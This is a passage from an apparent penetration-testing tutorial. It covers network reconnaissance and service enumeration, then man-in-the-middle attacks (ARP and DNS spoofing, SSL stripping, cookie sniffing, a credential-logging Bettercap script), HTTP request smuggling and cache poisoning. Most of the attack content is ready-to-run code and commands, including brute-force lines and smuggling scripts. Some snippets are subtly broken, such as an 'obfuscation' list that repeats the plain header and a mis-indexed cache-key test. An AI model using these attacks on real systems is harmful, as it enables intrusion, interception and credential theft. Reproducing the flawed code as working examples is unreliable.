192.168.1.1\n```\n\n**Passive OS Fingerprinting:**\n```bash\n# p0f (passive)\np0f -i eth0 -o p0f.log\n\n# Analyze pcap\np0f -r capture.pcap\n```\n\n**Custom OS Fingerprinting:**\n```python\nfrom scapy.all import *\n\ndef os_fingerprint(ip):\n    \"\"\"Simple OS fingerprinting\"\"\"\n    # Send SYN packet\n    syn = IP(dst=ip)/TCP(dport=80, flags=\"S\")\n    syn_ack = sr1(syn, timeout=2, verbose=False)\n    \n    if syn_ack:\n        ttl = syn_ack[IP].ttl\n        window = syn_ack[TCP].window\n        options = syn_ack[TCP].options\n        \n        print(f\"TTL: {ttl}\")\n        print(f\"Window: {window}\")\n        print(f\"Options: {options}\")\n        \n        # Guess OS based on TTL\n        if ttl <= 64:\n            print(\"Likely Linux/Unix\")\n        elif ttl <= 128:\n            print(\"Likely Windows\")\n        elif ttl <= 255:\n            print(\"Likely Cisco/Solaris\")\n        \n        # Check for specific TCP options\n        options_dict = dict(options)\n        if 'WScale' in options_dict:\n            print(f\"Window scaling: {options_dict['WScale']}\")\n        if 'Timestamp' in options_dict:\n            print(\"Timestamps enabled\")\n```\n\n---\n\n## 3.3 Service-Specific Enumeration\n\n### Web Server Enumeration\n\n**HTTP Header Analysis:**\n```bash\n# Basic headers\ncurl -I https://target.com\n\n# All headers\ncurl -I -L https://target.com\n\n# Method check\ncurl -X OPTIONS https://target.com -i\n\n# Custom headers\ncurl -H \"X-Forwarded-For: 127.0.0.1\" https://target.com\ncurl -H \"X-Forwarded-Host: evil.com\" https://target.com\n```\n\n**Technology Stack Detection:**\n```bash\n# WhatWeb\nwhatweb target.com\n\n# Wappalyzer (browser extension)\n\n# BuiltWith (online service)\n\n# Retire.js for JavaScript vulns\nretire --path /path/to/js/files\n\n# WPScan for WordPress\nwpscan --url target.com --enumerate u,vp,vt\n\n# JoomScan for Joomla\njoomscan --url target.com\n```\n\n**Directory and File Discovery:**\n```bash\n# Gobuster\ngobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -t 50\n\n# Dirb\ndirb https://target.com\n\n# Dirsearch\ndirsearch -u https://target.com -e php,asp,aspx,jsp,html,txt\n\n# FFUF (fast)\nffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -c\n\n# Recursive\nffuf -u https://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2\n```\n\n**Parameter Discovery:**\n```bash\n# GET parameters\nffuf -u https://target.com/page?FUZZ=test -w parameters.txt\n\n# POST parameters\nffuf -u https://target.com/page -X POST -d \"FUZZ=test\" -w parameters.txt\n\n# Header parameters\nffuf -u https://target.com/page -H \"FUZZ: test\" -w parameters.txt\n\n# Cookie parameters\nffuf -u https://target.com/page -H \"Cookie: FUZZ=test\" -w parameters.txt\n```\n\n**Virtual Host Discovery:**\n```bash\n# VHost enumeration\nffuf -u https://target.com -H \"Host: FUZZ.target.com\" -w subdomains.txt -fs 1234\n\n# Using gobuster vhost\ngobuster vhost -u https://target.com -w subdomains.txt\n```\n\n### DNS Service Enumeration\n\n**DNS Server Testing:**\n```bash\n# Check for recursion\ndig +recurse @target-dns example.com\n\n# Test for zone transfers\nfor ns in $(dig ns target.com +short); do\n    dig axfr target.com @$ns\ndone\n\n# Version detection\ndig CHAOS TXT version.bind @target-dns\ndig CHAOS TXT hostname.bind @target-dns\n\n# EDNS support\ndig +edns=0 @target-dns example.com\n```\n\n**DNS Enumeration Tools:**\n```bash\n# dnsrecon\ndnsrecon -d target.com -t std,brt,bing,goo\n\n# dnsenum\ndnsenum target.com\n\n# fierce\nfierce --domain target.com\n\n# massdns\nmassdns -r resolvers.txt -t A -o S -w output.txt subdomains.txt\n```\n\n### Email Service Enumeration\n\n**SMTP Enumeration:**\n```bash\n# Connect to SMTP\nnc -nv target.com 25\n\n# VRFY user enumeration\nVRFY root\nVRFY admin\nVRFY postmaster\n\n# EXPN (expand mailing list)\nEXPN allusers\nEXPN staff\n\n# RCPT TO enumeration\nMAIL FROM: test@example.com\nRCPT TO: validuser@target.com\nRCPT TO: invalid@target.com\n```\n\n**SMTP Automation:**\n```python\nimport socket\n\ndef smtp_enum(server, users):\n    \"\"\"Enumerate SMTP users\"\"\"\n    for user in users:\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.connect((server, 25))\n            s.recv(1024)\n            \n            s.send(b\"HELO test.com\\r\\n\")\n            s.recv(1024)\n            \n            s.send(f\"MAIL FROM: test@test.com\\r\\n\".encode())\n            s.recv(1024)\n            \n            s.send(f\"RCPT TO: {user}\\r\\n\".encode())\n            response = s.recv(1024).decode()\n            \n            if \"250\" in response:\n                print(f\"[+] User exists: {user}\")\n            \n            s.send(b\"QUIT\\r\\n\")\n            s.close()\n        except:\n            pass\n```\n\n**Open Relay Testing:**\n```bash\n# Test for open relay\nswaks --to test@example.com --from attacker@test.com --server target.com\n\n# Manual test\nMAIL FROM: external@example.com\nRCPT TO: external@gmail.com\nDATA\nSubject: Test\nThis is a test.\n.\n```\n\n### SNMP Enumeration\n\nSNMP provides rich information about network devices:\n\n**Basic SNMP Enumeration:**\n```bash\n# SNMP version detection\nsnmpget -v1 -c public target.com 1.3.6.1.2.1.1.1.0\nsnmpget -v2c -c public target.com 1.3.6.1.2.1.1.1.0\n\n# Walk entire MIB\nsnmpwalk -v2c -c public target.com\n\n# System information\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.1\n\n# Network interfaces\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.2\n\n# IP information\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.4\n\n# TCP connections\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.6\n\n# UDP listeners\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.7\n\n# Processes\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.25.4.2.1.2\n\n# Software installed\nsnmpwalk -c public -v2c target.com 1.3.6.1.2.1.25.6.3.1.2\n\n# Users\nsnmpwalk -c public -v2c target.com 1.3.6.1.4.1.77.1.2.25\n\n# Shares\nsnmpwalk -c public -v2c target.com 1.3.6.1.4.1.77.1.2.27\n```\n\n**SNMP Brute Force:**\n```bash\n# onesixtyone\nonesixtyone -c community.txt -i hosts.txt\n\n# snmp-brute (nmap)\nnmap --script snmp-brute -p 161 target.com\n\n# Hydra for SNMP\nhydra -P community.txt -t 4 target.com snmp\n```\n\n**SNMPv3 Enumeration:**\n```bash\n# SNMPv3 requires usernames\nsnmpwalk -v3 -u user -l authNoPriv -a MD5 -A password target.com\n\n# Enumerate SNMPv3 users\nsnmpwalk -v3 -u '' -l noAuthNoPriv target.com 1.3.6.1.6.3.15.1.1\n```\n\n### SMB/NetBIOS Enumeration\n\nWindows file sharing provides extensive enumeration opportunities:\n\n**NetBIOS Enumeration:**\n```bash\n# NetBIOS name lookup\nnmblookup -A target_ip\n\n# nbtscan\nnbtscan -r target_ip/24\n\n# nbtstat (Windows)\nnbtstat -A target_ip\n```\n\n**SMB Enumeration:**\n```bash\n# List shares\nsmbclient -L //target_ip -N\n\n# Connect to share\nsmbclient //target_ip/share -N\n\n# Enum4linux\nenum4linux -a target_ip\n\n# SMBmap\nsmbmap -H target_ip\n\n# CrackMapExec\ncrackmapexec smb target_ip -u '' -p '' --shares\ncrackmapexec smb target_ip -u '' -p '' --users\ncrackmapexec smb target_ip -u '' -p '' --groups\n```\n\n**SMB OS Discovery:**\n```bash\n# Nmap scripts\nnmap --script smb-os-discovery -p 445 target_ip\nnmap --script smb-enum-shares -p 445 target_ip\nnmap --script smb-enum-users -p 445 target_ip\nnmap --script smb-enum-groups -p 445 target_ip\nnmap --script smb-enum-sessions -p 445 target_ip\nnmap --script smb-security-mode -p 445 target_ip\n```\n\n**SMB Vulnerabilities:**\n```bash\n# Check for MS17-010 (EternalBlue)\nnmap --script smb-vuln-ms17-010 -p 445 target_ip\n\n# Check for SMB signing\nnmap --script smb2-security-mode -p 445 target_ip\n\n# Check for anonymous access\nsmbclient -L //target_ip -N\n\n# SMB relay (responder)\nresponder -I eth0 -wrf\n```\n\n**RPC Enumeration:**\n```bash\n# rpcclient\nrpcclient -U \"\" target_ip\n\n# Common rpcclient commands\nenumdomusers\nenumdomgroups\nenumalsgroups builtin\nenumdomains\nquerydominfo\ngetdompwinfo\nlsaenumsid\nlookupnames admin\n```\n\n### LDAP Enumeration\n\nActive Directory environments use LDAP for directory services:\n\n**Anonymous LDAP Binding:**\n```bash\n# Get base DN\nldapsearch -x -h target_ip -s base namingcontexts\n\n# Enumerate all objects\nldapsearch -x -h target_ip -b \"dc=target,dc=com\"\n\n# Enumerate users\nldapsearch -x -h target_ip -b \"dc=target,dc=com\" \"(objectClass=user)\" sAMAccountName\n\n# Enumerate groups\nldapsearch -x -h target_ip -b \"dc=target,dc=com\" \"(objectClass=group)\" cn member\n\n# Enumerate computers\nldapsearch -x -h target_ip -b \"dc=target,dc=com\" \"(objectClass=computer)\" cn\n\n# Enumerate domain policies\nldapsearch -x -h target_ip -b \"dc=target,dc=com\" \"(objectClass=domainPolicy)\"\n```\n\n**LDAP Authentication:**\n```bash\n# Authenticated LDAP\nldapsearch -x -h target_ip -D \"cn=admin,dc=target,dc=com\" -w password -b \"dc=target,dc=com\"\n\n# NTLM authentication\nldapsearch -U user@target.com -H ldap://target_ip -W\n```\n\n**LDAP Attack Tools:**\n```bash\n# ldapdomaindump\nldapdomaindump -u 'DOMAIN\\user' -p password ldap://target_ip\n\n# BloodHound (collectors)\nbloodhound-python -d target.com -u user -p password -ns target_ip -c all\n\n# windapsearch\nwindapsearch.py --dc-ip target_ip -u \"\" -U\n```\n\n### Database Service Enumeration\n\n**MySQL Enumeration:**\n```bash\n# Connect\nmysql -h target_ip -u root\n\n# Nmap scripts\nnmap --script mysql-info -p 3306 target_ip\nnmap --script mysql-enum -p 3306 target_ip\nnmap --script mysql-brute -p 3306 target_ip\nnmap --script mysql-empty-password -p 3306 target_ip\nnmap --script mysql-audit -p 3306 target_ip\n```\n\n**PostgreSQL Enumeration:**\n```bash\n# Connect\npsql -h target_ip -U postgres\n\n# Nmap scripts\nnmap --script pgsql-brute -p 5432 target_ip\nnmap --script pgsql-enum -p 5432 target_ip\n```\n\n**MongoDB Enumeration:**\n```bash\n# Connect\nmongo target_ip:27017\n\n# Nmap scripts\nnmap --script mongodb-info -p 27017 target_ip\nnmap --script mongodb-brute -p 27017 target_ip\n\n# Show databases\nshow dbs\nuse admin\ndb.runCommand({listDatabases:1})\n```\n\n**Redis Enumeration:**\n```bash\n# Connect\nredis-cli -h target_ip\n\n# Info\nINFO\n\n# Enumerate keys\nKEYS *\nCONFIG GET *\n\n# Nmap script\nnmap --script redis-info -p 6379 target_ip\n```\n\n### FTP Enumeration\n\n**FTP Banner Grabbing:**\n```bash\n# Connect\nnc -nv target_ip 21\n\n# FTP client\nftp target_ip\n\n# Anonymous login\nUSER anonymous\nPASS anonymous@example.com\n```\n\n**FTP Enumeration:**\n```bash\n# Nmap scripts\nnmap --script ftp-anon -p 21 target_ip\nnmap --script ftp-brute -p 21 target_ip\nnmap --script ftp-syst -p 21 target_ip\nnmap --script ftp-vsftpd-backdoor -p 21 target_ip\nnmap --script ftp-proftpd-backdoor -p 21 target_ip\n```\n\n**Automated FTP Enumeration:**\n```python\nfrom ftplib import FTP\n\ndef ftp_enum(host):\n    \"\"\"Enumerate FTP server\"\"\"\n    try:\n        ftp = FTP(host)\n        ftp.login()  # Anonymous login\n        print(f\"[+] Anonymous login successful\")\n        \n        # List files\n        files = ftp.nlst()\n        print(f\"Files: {files}\")\n        \n        # Check permissions\n        ftp.dir()\n        \n        ftp.quit()\n    except Exception as e:\n        print(f\"[-] FTP error: {e}\")\n```\n\n### SSH Enumeration\n\n**SSH Banner Grabbing:**\n```bash\n# Connect\nnc -nv target_ip 22\n\n# SSH client (will show banner)\nssh root@target_ip\n```\n\n**SSH Enumeration:**\n```bash\n# Nmap scripts\nnmap --script ssh-hostkey -p 22 target_ip\nnmap --script ssh-auth-methods -p 22 target_ip\nnmap --script ssh-brute -p 22 target_ip\nnmap --script sshv1 -p 22 target_ip\n\n# SSH-audit\nssh-audit target_ip\n```\n\n**SSH Key Discovery:**\n```python\nimport paramiko\n\ndef ssh_enum(host, port=22):\n    \"\"\"Enumerate SSH server\"\"\"\n    try:\n        client = paramiko.SSHClient()\n        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n        \n        # Get host key\n        host_key = client.get_host_keys()\n        \n        # Try authentication methods\n        transport = paramiko.Transport((host, port))\n        transport.connect()\n        \n        auth_methods = transport.auth_none('username')\n        print(f\"Auth methods: {auth_methods}\")\n        \n        transport.close()\n    except Exception as e:\n        print(f\"Error: {e}\")\n```\n\n### RDP Enumeration\n\n**RDP Scanning:**\n```bash\n# Nmap scripts\nnmap --script rdp-enum-encryption -p 3389 target_ip\nnmap --script rdp-ntlm-info -p 3389 target_ip\nnmap --script rdp-vuln-ms12-020 -p 3389 target_ip\n\n# Crowbar for RDP brute force\ncrowbar -b rdp -s target_ip/32 -u user -C password.txt\n```\n\n### VNC Enumeration\n\n**VNC Scanning:**\n```bash\n# Nmap scripts\nnmap --script vnc-info -p 5900 target_ip\nnmap --script vnc-brute -p 5900 target_ip\nnmap --script vnc-title -p 5900 target_ip\n\n# vncsnapshot\nvncsnapshot -passwd password.txt target_ip output.jpg\n```\n\n## 3.4 Network Mapping and Visualization\n\n### Network Topology Discovery\n\n**Traceroute:**\n```bash\n# Standard traceroute\ntraceroute target.com\n\n# TCP traceroute\ntraceroute -T -p 80 target.com\n\n# UDP traceroute\ntraceroute -U -p 53 target.com\n\n# Using scapy\ntraceroute(\"target.com\", maxttl=30)\n```\n\n**Network Mapping Tools:**\n```bash\n# Nmap topology\nnmap --traceroute -sS -p 80,443 target.com\n\n# Zenmap (GUI for topology)\n\n# Maltego (visual link analysis)\n```\n\n**Custom Traceroute:**\n```python\nfrom scapy.all import *\n\ndef trace_route(dest, max_hops=30):\n    \"\"\"Traceroute implementation\"\"\"\n    for ttl in range(1, max_hops+1):\n        # Send packet with increasing TTL\n        pkt = IP(dst=dest, ttl=ttl)/ICMP()\n        \n        reply = sr1(pkt, verbose=False, timeout=1)\n        \n        if reply is None:\n            print(f\"{ttl}: *\")\n        elif reply.type == 0:\n            # Echo reply - reached destination\n            print(f\"{ttl}: {reply.src} (destination)\")\n            break\n        else:\n            # Time exceeded - intermediate router\n            print(f\"{ttl}: {reply.src}\")\n```\n\n### Network Visualization\n\n**Creating Network Maps:**\n```python\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\ndef create_network_map(discovered_hosts, connections):\n    \"\"\"Create network graph visualization\"\"\"\n    G = nx.Graph()\n    \n    # Add hosts\n    for host in discovered_hosts:\n        G.add_node(host['ip'], type=host['type'], services=host['services'])\n    \n    # Add connections\n    for conn in connections:\n        G.add_edge(conn['src'], conn['dst'])\n    \n    # Draw\n    pos = nx.spring_layout(G)\n    nx.draw(G, pos, with_labels=True, node_color='lightblue')\n    \n    plt.savefig('network_map.png')\n    plt.show()\n```\n\n**Using Graphviz:**\n```python\nfrom graphviz import Digraph\n\ndef create_graphviz_map(hosts):\n    \"\"\"Create Graphviz network map\"\"\"\n    dot = Digraph(comment='Network Map')\n    \n    for host in hosts:\n        dot.node(host['ip'], f\"{host['ip']}\\n{host['hostname']}\")\n        \n        for service in host['services']:\n            dot.node(f\"{host['ip']}:{service['port']}\", \n                    f\"{service['port']}\\n{service['name']}\")\n            dot.edge(host['ip'], f\"{host['ip']}:{service['port']}\")\n    \n    dot.render('network_map', view=True)\n```\n\n---\n\n# Part 4: Network-Based Web Attacks\n\n## 4.1 Man-in-the-Middle (MITM) Attacks\n\nMITM attacks intercept and potentially modify communications between client and server.\n\n### ARP Spoofing for Web Traffic Interception\n\n**ARP Spoofing with Bettercap:**\n```bash\n# Bettercap - modern MITM framework\nsudo bettercap -eval \"set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on\"\n\n# With HTTPS interception\nsudo bettercap -eval \"set arp.spoof.targets 192.168.1.100; set https.proxy.script /path/to/hooks.js; arp.spoof on; https.proxy on\"\n```\n\n**ARP Spoofing with Ettercap:**\n```bash\n# Text mode\nsudo ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1//\n\n# GUI mode\nsudo ettercap -G\n```\n\n**ARP Spoofing Detection:**\n```python\nfrom scapy.all import *\n\ndef detect_arp_spoof(interface, gateway_ip):\n    \"\"\"Detect ARP spoofing attacks\"\"\"\n    arp_table = {}\n    \n    def analyze_arp(pkt):\n        if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP reply\n            ip = pkt[ARP].psrc\n            mac = pkt[ARP].hwsrc\n            \n            if ip in arp_table:\n                if arp_table[ip] != mac:\n                    print(f\"[!] ARP spoofing detected for {ip}\")\n                    print(f\"    Old MAC: {arp_table[ip]}, New MAC: {mac}\")\n            else:\n                arp_table[ip] = mac\n                print(f\"[*] Learned {ip} -> {mac}\")\n    \n    sniff(iface=interface, filter=\"arp\", prn=analyze_arp)\n```\n\n### DNS Spoofing\n\n**DNS Spoofing with Bettercap:**\n```bash\n# DNS spoofing\nsudo bettercap -eval \"set arp.spoof.targets 192.168.1.100; set dns.spoof.domains target.com; arp.spoof on; dns.spoof on\"\n\n# Custom DNS responses\nsudo bettercap -eval \"set dns.spoof.all true; set dns.spoof.address 192.168.1.50; arp.spoof on; dns.spoof on\"\n```\n\n**DNS Spoofing with Ettercap:**\n```bash\n# Create etter.dns file\ncat > /etc/ettercap/etter.dns << EOF\ntarget.com A 192.168.1.50\n*.target.com A 192.168.1.50\nEOF\n\n# Run DNS spoof\nsudo ettercap -T -M arp -P dns_spoof /192.168.1.100// /192.168.1.1//\n```\n\n**Custom DNS Spoofing Server:**\n```python\nfrom scapy.all import *\nimport socket\n\nclass DNSSpoofer:\n    def __init__(self, interface, spoofed_ip):\n        self.interface = interface\n        self.spoofed_ip = spoofed_ip\n        \n    def spoof_response(self, pkt):\n        \"\"\"Send spoofed DNS response\"\"\"\n        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:  # DNS query\n            # Build spoofed response\n            ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)\n            udp = UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)\n            \n            dns = DNS(\n                id=pkt[DNS].id,\n                qr=1,  # Response\n                aa=1,  # Authoritative\n                qd=pkt[DNS].qd,\n                an=DNSRR(rrname=pkt[DNS].qd.qname, \n                        ttl=300,\n                        rdata=self.spoofed_ip)\n            )\n            \n            response = ip/udp/dns\n            send(response, iface=self.interface, verbose=False)\n            print(f\"[+] Spoofed DNS response for {pkt[DNS].qd.qname.decode()}\")\n    \n    def start(self):\n        print(f\"[*] DNS spoofer running on {self.interface}\")\n        sniff(iface=self.interface, \n              filter=\"udp port 53\", \n              prn=self.spoof_response)\n```\n\n### SSL/TLS Stripping\n\n**SSLStrip with Bettercap:**\n```bash\n# Bettercap's HTTPS proxy\nsudo bettercap -eval \"set arp.spoof.targets 192.168.1.100; set https.proxy.sslstrip true; arp.spoof on; https.proxy on\"\n```\n\n**SSLStrip with sslstrip2:**\n```bash\n# Start sslstrip\nsudo sslstrip -l 8080 -w capture.log\n\n# Redirect HTTP traffic to sslstrip\nsudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080\n\n# Now ARP spoof and wait\n```\n\n**HSTS Bypass Techniques:**\n```python\n# Check HSTS headers\ncurl -I https://target.com | grep -i strict-transport-security\n\n# If no HSTS or first visit, SSL strip works\n# Even with HSTS, subdomains without HSTS may be vulnerable\n```\n\n### Session Hijacking via MITM\n\n**Cookie Capture:**\n```python\nfrom scapy.all import *\nimport re\n\ndef capture_cookies(interface):\n    \"\"\"Capture HTTP cookies from network\"\"\"\n    def extract_cookies(pkt):\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            \n            # Look for Cookie header\n            cookie_match = re.search(r'Cookie: (.*?)\\r\\n', payload)\n            if cookie_match:\n                print(f\"[+] Cookie from {pkt[IP].src}:{pkt[TCP].sport}\")\n                print(f\"    {cookie_match.group(1)}\")\n            \n            # Look for Set-Cookie header\n            set_cookie_match = re.search(r'Set-Cookie: (.*?)\\r\\n', payload)\n            if set_cookie_match:\n                print(f\"[+] Set-Cookie from {pkt[IP].src}:{pkt[TCP].sport}\")\n                print(f\"    {set_cookie_match.group(1)}\")\n    \n    sniff(iface=interface, filter=\"tcp port 80\", prn=extract_cookies)\n```\n\n**Session Fixation:**\n```python\nimport requests\n\ndef session_fixation(url, session_id):\n    \"\"\"Test session fixation\"\"\"\n    # Set session cookie\n    cookies = {'sessionid': session_id}\n    \n    # Visit login page\n    response = requests.get(url + '/login', cookies=cookies)\n    \n    # After victim logs in, check if session is valid\n    response = requests.get(url + '/profile', cookies=cookies)\n    if response.status_code == 200:\n        print(f\"[+] Session fixation successful\")\n```\n\n### Bettercap Scripting\n\n**Custom Bettercap Script:**\n```javascript\n// mitm.js - Bettercap script\nfunction onLoad() {\n    log(\"MITM script loaded\");\n    \n    // Set up ARP spoofing\n    arp.spoof.targets = \"192.168.1.100\";\n    arp.spoof.on();\n    \n    // Enable packet sniffer\n    net.sniff.on();\n}\n\nfunction onPacket(pkt) {\n    // Custom packet processing\n    if (pkt.SrcPort == 80 || pkt.DstPort == 80) {\n        log(\"HTTP packet detected\");\n        \n        // Check for credentials\n        if (pkt.String.indexOf(\"password\") > -1) {\n            log(\"Found password: \" + pkt.String);\n        }\n    }\n}\n\nfunction onHttpResponse(req, res) {\n    // Modify HTTP responses\n    res.Body = res.Body.replace(\"\", \"alert('Hacked')\");\n    return res;\n}\n```\n\n## 4.2 HTTP Request Smuggling\n\nHTTP request smuggling exploits discrepancies between how front-end servers (load balancers, proxies) and back-end servers parse HTTP requests.\n\n### CL.TE (Content-Length vs Transfer-Encoding) Smuggling\n\nWhen front-end uses Content-Length but back-end uses Transfer-Encoding:\n\n**Basic CL.TE Attack:**\n```http\nPOST / HTTP/1.1\nHost: vulnerable.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nGET /admin HTTP/1.1\nHost: vulnerable.com\n```\n\n**Python Implementation:**\n```python\nimport socket\n\ndef clte_smuggle(target_host, target_port):\n    \"\"\"CL.TE request smuggling\"\"\"\n    payload = (\n        \"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 13\\r\\n\"\n        \"Transfer-Encoding: chunked\\r\\n\"\n        \"\\r\\n\"\n        \"0\\r\\n\"\n        \"\\r\\n\"\n        \"GET /admin HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"\\r\\n\"\n    )\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_host, target_port))\n    sock.send(payload.encode())\n    \n    response = sock.recv(4096)\n    print(response.decode())\n    sock.close()\n```\n\n### TE.CL Smuggling\n\nFront-end uses Transfer-Encoding, back-end uses Content-Length:\n\n**TE.CL Attack:**\n```http\nPOST / HTTP/1.1\nHost: vulnerable.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n5c\nGET /admin HTTP/1.1\nHost: vulnerable.com\nContent-Length: 0\n\n0\n```\n\n**Python Implementation:**\n```python\ndef tecl_smuggle(target_host, target_port):\n    \"\"\"TE.CL request smuggling\"\"\"\n    payload = (\n        \"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 4\\r\\n\"\n        \"Transfer-Encoding: chunked\\r\\n\"\n        \"\\r\\n\"\n        \"5c\\r\\n\"\n        \"GET /admin HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 0\\r\\n\"\n        \"\\r\\n\"\n        \"\\r\\n\"\n        \"0\\r\\n\"\n        \"\\r\\n\"\n    )\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_host, target_port))\n    sock.send(payload.encode())\n    \n    response = sock.recv(4096)\n    print(response.decode())\n    sock.close()\n```\n\n### TE.TE Smuggling (Obfuscation)\n\nMultiple Transfer-Encoding headers with one obfuscated:\n\n**TE.TE Attack:**\n```http\nPOST / HTTP/1.1\nHost: vulnerable.com\nTransfer-Encoding: xchunked\nTransfer-Encoding: chunked\n\n0\n\nGET /admin HTTP/1.1\nHost: vulnerable.com\n```\n\n**Obfuscation Techniques:**\n```python\ndef te_obfuscations():\n    \"\"\"Various TE header obfuscations\"\"\"\n    obfuscations = [\n        \"Transfer-Encoding: xchunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n        \"Transfer-Encoding: chunked\",\n    ]\n    return obfuscations\n```\n\n### Detecting Request Smuggling\n\n**Time-Delay Technique:**\n```python\nimport requests\nimport time\n\ndef detect_smuggling_time_delay(url):\n    \"\"\"Detect request smuggling using time delay\"\"\"\n    # CL.TE test\n    headers = {\n        'Content-Length': '6',\n        'Transfer-Encoding': 'chunked'\n    }\n    data = \"0\\r\\n\\r\\nX\"\n    \n    start = time.time()\n    response = requests.post(url, headers=headers, data=data)\n    elapsed = time.time() - start\n    \n    if elapsed > 5:  # Delay indicates possible smuggling\n        print(f\"[!] Possible CL.TE smuggling detected (delay: {elapsed}s)\")\n    \n    # TE.CL test\n    headers = {\n        'Content-Length': '4',\n        'Transfer-Encoding': 'chunked'\n    }\n    data = \"5c\\r\\nGET /404 HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n\\r\\n0\\r\\n\\r\\n\"\n    \n    response = requests.post(url, headers=headers, data=data)\n    if response.status_code == 404:  # Got smuggled request response\n        print(\"[!] Possible TE.CL smuggling detected\")\n```\n\n**Response Mirroring:**\n```python\ndef detect_smuggling_mirror(url):\n    \"\"\"Detect smuggling by mirroring responses\"\"\"\n    # Send two requests in one connection\n    session = requests.Session()\n    \n    # First request - smuggling attempt\n    headers = {\n        'Content-Length': '13',\n        'Transfer-Encoding': 'chunked'\n    }\n    data = \"0\\r\\n\\r\\nGET /404 HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\"\n    \n    response = session.post(url, headers=headers, data=data)\n    \n    # Second request - normal request\n    response2 = session.get(url + \"/test\")\n    \n    if response2.status_code == 404:  # Got smuggled response\n        print(\"[!] Request smuggling detected\")\n```\n\n### Advanced Smuggling Techniques\n\n**Smuggling to Bypass Security:**\n```python\ndef smuggled_request_bypass(target_host, target_port, smuggled_path):\n    \"\"\"Smuggle request to bypass security\"\"\"\n    # First request - smuggled to admin page\n    payload = (\n        \"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 13\\r\\n\"\n        \"Transfer-Encoding: chunked\\r\\n\"\n        \"\\r\\n\"\n        \"0\\r\\n\"\n        \"\\r\\n\"\n        f\"GET {smuggled_path} HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"\\r\\n\"\n    )\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_host, target_port))\n    sock.send(payload.encode())\n    \n    # Second request - triggers the smuggled one\n    sock.send(b\"GET / HTTP/1.1\\r\\nHost: \" + target_host.encode() + b\"\\r\\n\\r\\n\")\n    \n    response = sock.recv(4096)\n    print(response.decode())\n    sock.close()\n```\n\n**Smuggling for Cache Poisoning:**\n```python\ndef smuggled_cache_poison(target_host, target_port, malicious_path):\n    \"\"\"Use smuggling to poison cache\"\"\"\n    payload = (\n        \"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"Content-Length: 13\\r\\n\"\n        \"Transfer-Encoding: chunked\\r\\n\"\n        \"\\r\\n\"\n        \"0\\r\\n\"\n        \"\\r\\n\"\n        f\"GET {malicious_path} HTTP/1.1\\r\\n\"\n        f\"Host: {target_host}\\r\\n\"\n        \"\\r\\n\"\n    )\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_host, target_port))\n    sock.send(payload.encode())\n    \n    # This response will be cached for the normal path\n    response = sock.recv(4096)\n    sock.close()\n```\n\n## 4.3 Web Cache Poisoning and Deception\n\n### Cache Key Manipulation\n\n**Understanding Cache Keys:**\n```python\ndef analyze_cache_keys(url):\n    \"\"\"Determine what's included in cache key\"\"\"\n    import requests\n    \n    # Test different variations\n    tests = [\n        (\"/page?foo=1\", \"/page?foo=2\"),  # Query parameters\n        (\"/page\", \"/page\"),  # Same URL\n        (\"/page\", \"/PAGE\"),  # Case sensitivity\n        (\"/page\", \"/page\", {\"User-Agent\": \"A\"}),  # Headers\n        (\"/page\", \"/page\", {\"Accept\": \"A\"}),  # Accept header\n        (\"/page\", \"/page\", {\"Cookie\": \"A\"}),  # Cookies\n    ]\n    \n    for test in tests:\n        response1 = requests.get(test[0], headers=test[2] if len(test) > 2 else {})\n        response2 = requests.get(test[1], headers=test[3] if len(test) > 3 else {})\n        \n        if response1.headers.get('X-Cache') == 'HIT':\n            print(f\"[*] Cache key includes: {test}\")\n```\n\n**Unkeyed Input Poisoning:**\n```python\ndef unkeyed_header_poison(url, header, value, malicious_value):\n    \"\"\"Poison cache using unkeyed header\"\"\"\n    # Normal request with malicious header\n    headers = {header: malicious_value}\n    response = requests.get(url, headers=headers)\n    \n    # Victim request without header\n    victim_response = requests.get(url)\n    \n    # Check if victim got malicious response\n    if malicious_value in victim_response.text:\n        print(f\"[!] Cache 